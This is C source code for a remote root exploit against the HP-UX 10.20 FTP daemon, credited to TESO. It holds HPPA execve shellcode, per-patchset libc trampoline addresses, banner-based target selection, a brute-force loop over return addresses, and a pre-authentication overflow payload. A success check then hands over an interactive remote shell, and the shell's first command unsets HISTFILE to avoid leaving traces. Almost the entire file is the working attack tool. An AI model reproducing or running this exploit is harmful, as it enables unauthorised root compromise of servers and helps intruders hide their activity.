/* 7350hpuke - hppa/hpux ftpd remote root exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * The distribution restrictions cover the entire file, including this * header notice. (This means, you are not allowed to reproduce the header). * * (C) COPYRIGHT TESO Security, 2002 * All Rights Reserved * ***************************************************************************** * 2002/02/10 - * * hints * * - to test for the vulnerability, just use "-l 1 -t 1" and see if the remote * process dumps core (to /core) * - the exploit is sensitive to what the local ip resolves to. only fqhn up * to 17 characters will allow this exploitation method to work */ #define VERSION "0.4.0" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define INIT_CMD "unset HISTFILE;id;uname -a;\n" #define AUTO_CMD "echo \"sP\"\"sP\";\n" typedef struct { char * desc; /* distribution */ char * banner; /* ftp banner part */ unsigned char * shellcode; unsigned int shellcode_len; unsigned int cpad; /* padding in the xp cmd */ unsigned long int codeaddr; /* return address to code */ } tgt_type; typedef struct { char * patchset; unsigned long int addr; } trampo_type; typedef struct { char * desc; tgt_type * tgt; trampo_type * tgt_trampo; unsigned long int trampo_low; /* brute force boundaries */ unsigned long int trampo_high; } mtgt_type; /* shellcode */ unsigned char hppa_nop[] = "\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */ /* 48 byte hppa/hpux pic execve -sc */ unsigned char hppa_hpux_execve[] = "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a" "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99" "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08" "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41"; /* addresses of one of the standard inter-space stubs within the libc. * jumps to [$sp - 0x18]. * * 0xc0011000 is the base address of libc within the ftpd process, * the relative offset it the address within libc (as IDA shows it) * * XXX: all trampos seem to be aligned on & 0xfffffff8 boundaries, and * in a relative range 0x0000 to 0x1000. that makes a nice brute * force attack in less than circa 400 tries. * * this list does not make stuff exploitable the brute force mode would * not catch, but it speeds things up for most cases. */ trampo_type hpux_1020_trampolines[] = { { "HP-UX 10.20 default [1996/10/11]", 0xc0011000 + 0x00116c20 }, /* XXX { "HP-UX 10.20 PHCO_8108 missing", 0x0 }, */ { "HP-UX 10.20 PHCO_8764 [1996/10/11]", 0xc0011000 + 0x00116fd8 }, { "HP-UX 10.20 PHCO_8979 [1996/12/10]", 0xc0011000 + 0x00116c48 }, { "HP-UX 10.20 PHCO_9577 [1997/01/13]", 0xc0011000 + 0x00116c48 }, { "HP-UX 10.20 PHCO_10027 [1997/02/18]", 0xc0011000 + 0x00116d58 }, { "HP-UX 10.20 PHCO_11004 [1997/05/15]", 0xc0011000 + 0x00116e58 }, { "HP-UX 10.20 PHCO_11315 [1997/06/12]", 0xc0011000 + 0x00116e08 }, { "HP-UX 10.20 PHCO_12128 [1997/08/22]", 0xc0011000 + 0x00116d40 }, { "HP-UX 10.20 PHCO_12448 [1997/09/12]", 0xc0011000 + 0x00116c20 }, { "HP-UX 10.20 PHCO_12673 [1997/10/02]", 0xc0011000 + 0x00116c50 }, { "HP-UX 10.20 PHCO_13029 [1997/11/10]", 0xc0011000 + 0x00116da8 }, /* XXX { "HP-UX 10.20 PHCO_13189 missing", 0x0 }, */ { "HP-UX 10.20 PHCO_13282 [1997/12/05]", 0xc0011000 + 0x00116da8 }, { "HP-UX 10.20 PHCO_13399 [1997/12/05]", 0xc0011000 + 0x00116c48 }, { "HP-UX 10.20 PHCO_13626 [1998/01/02]", 0xc0011000 + 0x00116f50 }, { "HP-UX 10.20 PHCO_13775 [1998/03/27]", 0xc0011000 + 0x00116da0 }, { "HP-UX 10.20 PHCO_13777 [1998/02/05]", 0xc0011000 + 0x00116de0 }, { "HP-UX 10.20 PHCO_14199 [1998/02/17]", 0xc0011000 + 0x00116d08 }, { "HP-UX 10.20 PHCO_14511 [1998/03/20]", 0xc0011000 + 0x00116ce0 }, { "HP-UX 10.20 PHCO_14868 [1998/04/28]", 0xc0011000 + 0x00116d48 }, { "HP-UX 10.20 PHCO_14891 [1998/05/04]", 0xc0011000 + 0x00116d08 }, { "HP-UX 10.20 PHCO_15153 [1998/06/04]", 0xc0011000 + 0x00116da8 }, { "HP-UX 10.20 PHCO_15465 [1998/06/04]", 0xc0011000 + 0x00116e18 }, { "HP-UX 10.20 PHCO_15807 [1998/08/18]", 0xc0011000 + 0x00116c18 }, { "HP-UX 10.20 PHCO_15808 [1998/08/21]", 0xc0011000 + 0x00117048 }, { "HP-UX 10.20 PHCO_16302 [1998/09/25]", 0xc0011000 + 0x00116ff8 }, { "HP-UX 10.20 PHCO_16303 [1998/09/25]", 0xc0011000 + 0x00117090 }, { "HP-UX 10.20 PHCO_16723 [1999/01/26]", 0xc0011000 + 0x00116c68 }, { "HP-UX 10.20 PHCO_17381 [1999/03/17]", 0xc0011000 + 0x00116c08 }, { "HP-UX 10.20 PHCO_20098 [1999/10/28]", 0xc0011000 + 0x00117598 }, { "HP-UX 10.20 PHCO_20441 [1999/11/22]", 0xc0011000 + 0x00117658 }, { "HP-UX 10.20 PHCO_22448 [2000/11/10]", 0xc0011000 + 0x001175b8 }, { "HP-UX 10.20 PHCO_22924 [2001/01/29]", 0xc0011000 + 0x001175c8 }, { "HP-UX 10.20 PHCO_23684 [2001/05/18]", 0xc0011000 + 0x00117698 }, { "HP-UX 10.20 PHCO_25640 [2002/01/08]", 0xc0011000 + 0x001176f8 }, { NULL, 0x0 }, }; /* i am not that sure that this method of exploitation will work on other * hpux systems. the vulnerability is itself very weird. i see what fails * where and how it goes wrong, but i am unable to see why. there is * boundary checking prior to the overflow, its difficult to reproduce * logically and generally "weird". i like it. */ tgt_type hpux_1020_targets[] = { { "DEBUG TARGET", "DEBUG", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0x42424242 }, /* real targets */ { "HP-UX B.10.20 A - 1.7.212.1 default [1996/05/09 - 1997/01/26]", "Version 1.7.212.1 Thu May 9 21:10:27 GMT 1996", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.1 PHNE_9785 [1997/01/26 - 1997/02/07]", "Version 1.7.212.1 Mon Jan 13 23:52:32 GMT 1997", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.1 PHNE_10010 [1997/02/07 - 1998/04/28]", "Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.2 PHNE_13597 [1998/04/28 - 1999/07/26]", "Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.3 PHNE_17963 [1999/07/26 - 2000/09/22]", "Version 1.7.212.3 Wed Jul 14 10:24:05 GMT 1999", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.4 PHNE_22057 [2000/09/22 - 2001/06/04]", "Version 1.7.212.4 Tue Sep 12 04:33:08 GMT 2000", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0x7b03add0 }, { "HP-UX B.10.20 A - 1.7.212.5 PHNE_23948 [2001/06/04 - now]", "Version 1.7.212.5 Wed May 30 12:19:42 GMT 2001", hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1, 25, 0x7b03add0 }, { NULL, NULL, 0, 0, 0, 0 }, }; mtgt_type mtargets[] = { { "HP-UX 10.20 1.7.212.[1-5] [1996/05/09 - now]", hpux_1020_targets, hpux_1020_trampolines, /* we choose +4 addresses so we dont have to cope with * NUL bytes in the lsb. smart force in +8 steps. */ 0xc0011000 + 0x00116c24, 0xc0011000 + 0x00117904 }, { NULL, NULL, NULL }, }; /* FTP related stuff */ char * dest = "127.0.0.1"; /* can be changed with -d */ char * ftp_banner = NULL; int verbose = 0; /* FTP prototypes */ void ftp_escape (unsigned char *buf, unsigned long int buflen); void ftp_recv_until (int sock, char *buff, int len, char *begin); int ftp_login (char *host); /* main prototypes */ void usage (char *progname); void exploit (int fd, tgt_type *tgt, unsigned long int trampo); int exploit_try (tgt_type *tgt, unsigned long int taddr, int connected); void shell (int sock); void hexdump (char *desc, unsigned char *data, unsigned int amount); unsigned char * binstrstr (unsigned char *binary, unsigned int bin_len, unsigned char *str); tgt_type * tgt_frombanner (tgt_type *tgtl, unsigned char *banner); int taddr_tested (trampo_type *tramps, int num, unsigned long int taddr); void mtgt_list (mtgt_type *mtgt); void tgt_list (tgt_type *tgt); /* imported from network.c */ #define NET_CONNTIMEOUT 60 #define NET_READTIMEOUT 20 int net_conntimeout = NET_CONNTIMEOUT; unsigned long int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); void net_write (int fd, const char *str, ...); int net_rtimeout (int fd, int sec); int net_rlinet (int fd, char *buf, int bufsize, int sec); int debugmode = 0, autolength = 0; unsigned long int trampo_manual = 0x0; void usage (char *progname) { fprintf (stderr, "usage: %s [-h] [-v] [-D] <[-l ] | -a> " "<-m [-t ]> [-L 0xa] [-d host]\n\n", progname); fprintf (stderr, "-h\tthis help\n" "-v\tbe verbose (default: off, twice for greater effect)\n" "-D\tDEBUG mode (waits for keypresses)\n" "-l len\tresolved hostname length (of this host)\n" "-a\ttry to automatically get the length (default)\n" "-m num\tchoose meta-target (0 for list)\n" "-t num\tchoose target (0 for list, try -v or -v -v)\n" "-L 0xa\tgive trampoline address manually (default: auto)\n" "-d dest\tIP address or fqhn to connect to " "(default: 127.0.0.1)\n" "\n"); exit (EXIT_FAILURE); } int resolv_len = -1; unsigned char * shellcode = NULL; unsigned long int shellcode_len = 0; int main (int argc, char *argv[]) { char c; char * progname; /* = argv[0] */ int fd; tgt_type * tgt = NULL; mtgt_type * mtgt = NULL; int tgt_num = -1, mtgt_num = -1; int tgt_count; unsigned long int taddr; /* brute force trampo addr */ int tr_w; /* trampoline walker */ fprintf (stderr, "7350hpuke - hppa/hpux ftpd remote root " "(version "VERSION")\n" "team teso.\n\n"); progname = argv[0]; if (argc < 2) usage (progname); while ((c = getopt (argc, argv, "hvDl:am:t:L:d:")) != EOF) { switch (c) { case 'h': usage (progname); break; case 'D': debugmode = 1; break; case 'v': verbose += 1; break; case 'l': if (sscanf (optarg, "%u", &resolv_len) != 1) usage (progname); break; case 'a': autolength = 1; break; case 'm': if (sscanf (optarg, "%u", &mtgt_num) != 1) usage (progname); break; case 't': if (sscanf (optarg, "%u", &tgt_num) != 1) usage (progname); break; case 'L': if (sscanf (optarg, "0x%lx", &trampo_manual) != 1) usage (progname); break; case 'd': dest = optarg; break; default: usage (progname); break; } } if (mtgt_num == 0 || mtgt_num >= (sizeof (mtargets) / sizeof (mtgt_type))) { if (mtgt_num != 0) printf ("WARNING: meta-target out of list. list:\n\n"); mtgt_list (mtargets); exit (EXIT_SUCCESS); } mtgt = &mtargets[mtgt_num - 1]; printf ("# meta-target: %s\n", mtgt->desc); /* count real targets available in target list, then check if a proper * one is given or nothing is given. abort in invalid cases. */ for (tgt_count = 0 ; mtgt->tgt[tgt_count].desc != NULL ; ++tgt_count) ; if (tgt_num == 0 || tgt_num >= tgt_count) { if (tgt_num != 0) printf ("WARNING: target out of list. list:\n\n"); tgt_list (mtgt->tgt); exit (EXIT_SUCCESS); } else if (tgt_num != -1) { tgt = &mtgt->tgt[tgt_num - 1]; } /* sanity checking on resolv length parameter */ if (autolength == 0 && resolv_len == -1) { fprintf (stderr, "# resolv length not given, trying auto\n"); autolength = 1; } else if (autolength == 0 && resolv_len > 17) { fprintf (stderr, "resolv length too large, this exploitation " "method only supports\nlength below or equal to 17 " "chars\n"); exit (EXIT_FAILURE); } /* now tgt is either NULL (we should get the target automatically), * or points to a proper subtarget structure */ printf ("# trying to connect to %s ...", dest); fflush (stdout); fd = ftp_login (dest); if (fd <= 0) { fprintf (stderr, "\n### failed to connect\n"); exit (EXIT_FAILURE); } printf (" connected.\n"); printf ("# banner: %s", (ftp_banner == NULL) ? "???" : ftp_banner); if (tgt == NULL) { tgt = tgt_frombanner (mtgt->tgt, ftp_banner); if (tgt == NULL) { fprintf (stderr, "failed to yield target from banner\n"); exit (EXIT_FAILURE); } printf ("# -> target: %s\n", tgt->desc); } else { printf ("# TARGET: %s\n\n", tgt->desc); } if (shellcode == NULL) { shellcode = tgt->shellcode; shellcode_len = tgt->shellcode_len; } if (verbose >= 2) { printf ("using %lu byte shellcode:\n", shellcode_len); hexdump ("shellcode", shellcode, shellcode_len); } if (debugmode) { printf ("### DEBUG: press enter\n"); getchar (); } /* first try the known trampoline addresses */ printf ("# testing known patchsets\n\n"); for (tr_w = 0 ; mtgt->tgt_trampo[tr_w].patchset != NULL ; ++tr_w) { /* if the address was tested already, skip it */ if (taddr_tested (mtgt->tgt_trampo, tr_w, mtgt->tgt_trampo[tr_w].addr) == 0) { printf ("%s ", mtgt->tgt_trampo[tr_w].patchset); fd = exploit_try (tgt, mtgt->tgt_trampo[tr_w].addr, fd); if (fd != 0) goto yeah; } /* fd is zero now, so exploit_try will build a new connection */ } printf ("\n# known trampolines failed, doing smart force\n\n"); for (taddr = mtgt->trampo_low ; taddr <= mtgt->trampo_high ; taddr += 0x00000008) { /* the stubs are aligned on [08]$ addresses, but we test * [4c]$, since they are prepended with a nop. so for the * test, we have to add four to the brute address */ if (taddr_tested (mtgt->tgt_trampo, tr_w, taddr + 4) == 0) { printf ("BRUTE (%%%3ld) ", ((taddr - mtgt->trampo_low) * 100) / (mtgt->trampo_high - mtgt->trampo_low)); fd = exploit_try (tgt, taddr, fd); if (fd != 0) { printf ("fyi, trampoline address was at: " "0x%08lx\n", taddr + 4); goto yeah; } } } printf ("\n# brute force failed, giving up... " "sorry, was a nice time.\n"); exit (EXIT_FAILURE); yeah: printf ("# spawning shell\n"); printf ("##################################################" "##########################\n"); write (fd, INIT_CMD, strlen (INIT_CMD)); shell (fd); exit (EXIT_SUCCESS); } /* exploit_try * * try one single exploit attempt with the given attack vectors `tgt' and * `tramp'. destination address in global `dest'. if `connected' is non-zero, * it is used as filedescriptor and the ftp connection on this fd is assumed * as already established. * * return 0 on failure * return fd on success with shell spawned already */ int exploit_try (tgt_type *tgt, unsigned long int taddr, int connected) { int n, fd; unsigned char rbuf[256]; unsigned char rcvbuf[2048]; printf ("[t: 0x%08lx c: 0x%08lx] ", taddr, tgt->codeaddr); printf ("c"); fflush (stdout); if (connected == 0) { fd = ftp_login (dest); if (fd <= 0) { fprintf (stderr, "\n### failed to connect to %s\n", dest); exit (EXIT_FAILURE); } } else fd = connected; printf ("\bC"); fflush (stdout); /* if required, get local fqhn by itself */ if (autolength == 1) { struct sockaddr_in localaddr; struct hostent * hep, he; socklen_t size = sizeof (struct sockaddr_in); int n, h_errno; unsigned char h_buf[8192]; printf ("r"); fflush (stdout); if (getsockname (fd, (struct sockaddr *) &localaddr, &size) == -1) { fprintf (stderr, "### failed to get local fqhn\n"); exit (EXIT_FAILURE); } n = gethostbyaddr_r ((char *) &localaddr.sin_addr, sizeof (struct in_addr), AF_INET, &he, h_buf, sizeof (h_buf), &hep, &h_errno); if (hep == NULL) { unsigned char * ipp = (unsigned char *) &localaddr.sin_addr.s_addr; unsigned char dbuf[64]; if (verbose) fprintf (stderr, "missed name, going for ip\n"); snprintf (dbuf, sizeof (dbuf), "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); dbuf[sizeof (dbuf) - 1] = '\0'; if (verbose) printf ("# local host: %s\n", dbuf); resolv_len = strlen (dbuf); } else { if (verbose) { printf (" fqhn\n"); printf ("# local host: %s\n", he.h_name); } resolv_len = strlen (he.h_name); } printf ("\bR"); fflush (stdout); } if (resolv_len > 17) { fprintf (stderr, "local host resolves to a too-long hostname, " "has to be shorter-equal to 17 chars\n"); exit (EXIT_FAILURE); } if (verbose) printf ("# resolv_len = %d\n", resolv_len); /* time to attach the debugger */ if (debugmode) { printf ("d"); fflush (stdout); getchar (); /* will clobber output, doh! */ printf ("\bD"); fflush (stdout); } if (verbose) { printf ("# banner: %s", (ftp_banner == NULL) ? "???" : ftp_banner); } if (shellcode == NULL) { shellcode = tgt->shellcode; shellcode_len = tgt->shellcode_len; } if (verbose >= 2) { printf ("using %lu byte shellcode:\n", shellcode_len); hexdump ("shellcode", shellcode, shellcode_len); printf ("\n### TARGET: %s\n\n", tgt->desc); } /* real stuff starts from here */ printf ("p"); fflush (stdout); net_write (fd, "SITE 73507350735073507350735073507350" "735073507350735073507350\n"); ftp_recv_until (fd, rcvbuf, sizeof (rcvbuf), "500 "); printf ("\bP"); fflush (stdout); printf ("x"); fflush (stdout); exploit (fd, tgt, taddr); printf ("\bX"); fflush (stdout); write (fd, AUTO_CMD, strlen (AUTO_CMD)); n = net_rlinet (fd, rbuf, sizeof (rbuf), 10); if (n > 0 && binstrstr (rbuf, n, "sPsP") != NULL) { printf (": SUCCESS\n"); return (fd); } /* failure, close down socket and move ahead */ printf (": FAILURE\n"); close (fd); return (0); } void exploit (int fd, tgt_type *tgt, unsigned long int trampo) { int n, padnop, pad; unsigned char * xpw; unsigned char xpbuf[1024 + 256]; /* + NETSLOP ;-) */ memset (xpbuf, '\0', sizeof (xpbuf)); pad = 17 - resolv_len; for (xpw = xpbuf, n = 0 ; pad > 0 ; --pad) *xpw++ = "7350"[n++ % 4]; /* now the second return address (at %sp - 0x18) for thunking */ *xpw++ = (tgt->codeaddr & 0xff000000) >> 24; *xpw++ = (tgt->codeaddr & 0x00ff0000) >> 16; *xpw++ = (tgt->codeaddr & 0x0000ff00) >> 8; *xpw++ = (tgt->codeaddr & 0x000000ff); /* directly after it, *tada*, the first return address to the space * redirection stub */ *xpw++ = (trampo & 0xff000000) >> 24; *xpw++ = (trampo & 0x00ff0000) >> 16; *xpw++ = (trampo & 0x0000ff00) >> 8; *xpw++ = (trampo & 0x000000ff); strcat (xpbuf, "A"); /* padding */ /* nopspace + shellcode */ padnop = 990 + tgt->cpad - resolv_len - strlen (xpbuf); padnop &= ~0x3; /* pad down to 4 byte boundary */ for (n = 0, xpw = xpbuf + strlen (xpbuf) ; n < padnop ; ++n) { *xpw++ = hppa_nop[n % 4]; } if (verbose) printf ("n = %d, n %% 4 = %d\n", n, n % 4); memcpy (xpw - tgt->shellcode_len - 8, tgt->shellcode, tgt->shellcode_len); xpw += strlen (xpw); if (verbose) printf ("strlen (xpbuf) = %d\n", strlen (xpbuf)); *xpw++ = '\n'; ftp_escape (xpbuf, sizeof (xpbuf)); net_write (fd, "%s", xpbuf); return; } tgt_type * tgt_frombanner (tgt_type *tgtl, unsigned char *banner) { int tw; /* target list walker */ for (tw = 0 ; tgtl[tw].desc != NULL ; ++tw) { if (strstr (banner, tgtl[tw].banner) != NULL) return (&tgtl[tw]); } return (NULL); } /* taddr_tested * * return 1 if `taddr' was already tested within the first `num' * table entries of `tramps'. * return 0 if it was not tested yet */ int taddr_tested (trampo_type *tramps, int num, unsigned long int taddr) { int n; for (n = 0 ; n < num && tramps[n].patchset != NULL; ++n) { if (tramps[n].addr == taddr) return (1); } return (0); } void mtgt_list (mtgt_type *mtgt) { int mtgt_num; printf ("num . description\n"); printf ("----+-----------------------------------------------" "--------\n"); for (mtgt_num = 0 ; mtgt[mtgt_num].desc != NULL ; ++mtgt_num) { printf ("%3d | %s\n", mtgt_num + 1, mtgt[mtgt_num].desc); } printf (" '\n"); } /* tgt_list * * give target list */ void tgt_list (tgt_type *tgt) { int tgt_num; printf ("num . description\n"); printf ("----+-----------------------------------------------" "--------\n"); for (tgt_num = 0 ; tgt[tgt_num].desc != NULL ; ++tgt_num) { printf ("%3d | %s\n", tgt_num + 1, tgt[tgt_num].desc); if (verbose) printf (" : %s\n", tgt[tgt_num].banner); if (verbose >= 2) printf (" : codeaddr: 0x%08lx\n", tgt[tgt_num].codeaddr); } printf (" '\n"); return; } void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { perror ("read user"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("connection closed by foreign host.\n"); exit (EXIT_FAILURE); } else if (l < 0) { perror ("read remote"); exit (EXIT_FAILURE); } write (1, buf, l); } } } /*** FTP functions */ /* FTP is TELNET is SHIT. */ void ftp_escape (unsigned char *buf, unsigned long int buflen) { unsigned char * obuf = buf; for ( ; *buf != '\0' ; ++buf) { if (*buf == 0xff && (((buf - obuf) + strlen (buf) + 1) < buflen)) { memmove (buf + 1, buf, strlen (buf) + 1); buf += 1; } } } void ftp_recv_until (int sock, char *buff, int len, char *begin) { char dbuff[2048]; if (buff == NULL) { buff = dbuff; len = sizeof (dbuff); } do { memset (buff, '\x00', len); if (net_rlinet (sock, buff, len - 1, 20) <= 0) return; } while (memcmp (buff, begin, strlen (begin)) != 0); return; } int ftp_login (char *host) { int ftpsock; char resp[512]; ftpsock = net_connect (NULL, host, 21, 30); if (ftpsock <= 0) return (0); memset (resp, '\x00', sizeof (resp)); if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) goto flerr; /* handle multiline pre-login stuff (rfc violation !) */ if (memcmp (resp, "220-", 4) == 0) ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); if (memcmp (resp, "220 ", 4) != 0) { if (verbose) printf ("\n%s\n", resp); goto flerr; } if (ftp_banner != NULL) free (ftp_banner); ftp_banner = strdup (resp); /* do not login really, this is 100% pre-auth */ return (ftpsock); flerr: if (ftpsock > 0) close (ftpsock); return (0); } /* ripped from zodiac */ void hexdump (char *desc, unsigned char *data, unsigned int amount) { unsigned int dp, p; /* data pointer */ const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" "nopqrstuvwxyz{|}~...................................." "....................................................." "........................................"; printf ("/* %s, %u bytes */\n", desc, amount); for (dp = 1; dp <= amount; dp++) { fprintf (stderr, "%02x ", data[dp-1]); if ((dp % 8) == 0) fprintf (stderr, " "); if ((dp % 16) == 0) { fprintf (stderr, "| "); p = dp; for (dp -= 16; dp < p; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); fprintf (stderr, "\n"); } fflush (stderr); } if ((amount % 16) != 0) { p = dp = 16 - (amount % 16); for (dp = p; dp > 0; dp--) { fprintf (stderr, " "); if (((dp % 8) == 0) && (p != 8)) fprintf (stderr, " "); fflush (stderr); } fprintf (stderr, " | "); for (dp = (amount - (16 - p)); dp < amount; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); } fprintf (stderr, "\n"); return; } unsigned char * binstrstr (unsigned char *binary, unsigned int bin_len, unsigned char *str) { if (bin_len < strlen (str)) return (NULL); while (binary <= (binary + bin_len - strlen (str))) { if (memcmp (binary, str, strlen (str)) == 0) return (binary); binary += 1; bin_len -= 1; } return (NULL); } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; struct sockaddr_in csa; if (cs == NULL) cs = &csa; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } void net_write (int fd, const char *str, ...) { char tmp[1025]; va_list vl; int i; va_start(vl, str); memset(tmp, 0, sizeof(tmp)); i = vsnprintf(tmp, sizeof(tmp), str, vl); va_end(vl); #ifdef DEBUG printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n"); #endif send(fd, tmp, i, 0); return; } int net_rlinet (int fd, char *buf, int bufsize, int sec) { int n; unsigned long int rb = 0; struct timeval tv_start, tv_cur; memset(buf, '\0', bufsize); (void) gettimeofday(&tv_start, NULL); do { (void) gettimeofday(&tv_cur, NULL); if (sec > 0) { if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { return (-1); } } n = net_rtimeout(fd, NET_READTIMEOUT); if (n <= 0) { return (-1); } n = read(fd, buf, 1); if (n <= 0) { return (n); } rb++; if (*buf == '\n') return (rb); buf++; if (rb >= bufsize) return (-2); /* buffer full */ } while (1); } int net_rtimeout (int fd, int sec) { fd_set rset; struct timeval tv; int n, error, flags; error = 0; flags = fcntl(fd, F_GETFL, 0); n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) return (-1); FD_ZERO(&rset); FD_SET(fd, &rset); tv.tv_sec = sec; tv.tv_usec = 0; /* now we wait until more data is received then the tcp low level * watermark, which should be setted to 1 in this case (1 is default) */ n = select(fd + 1, &rset, NULL, NULL, &tv); if (n == 0) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } if (n == -1) { return (-1); } /* socket readable ? */ if (FD_ISSET(fd, &rset)) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (1); } else { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } }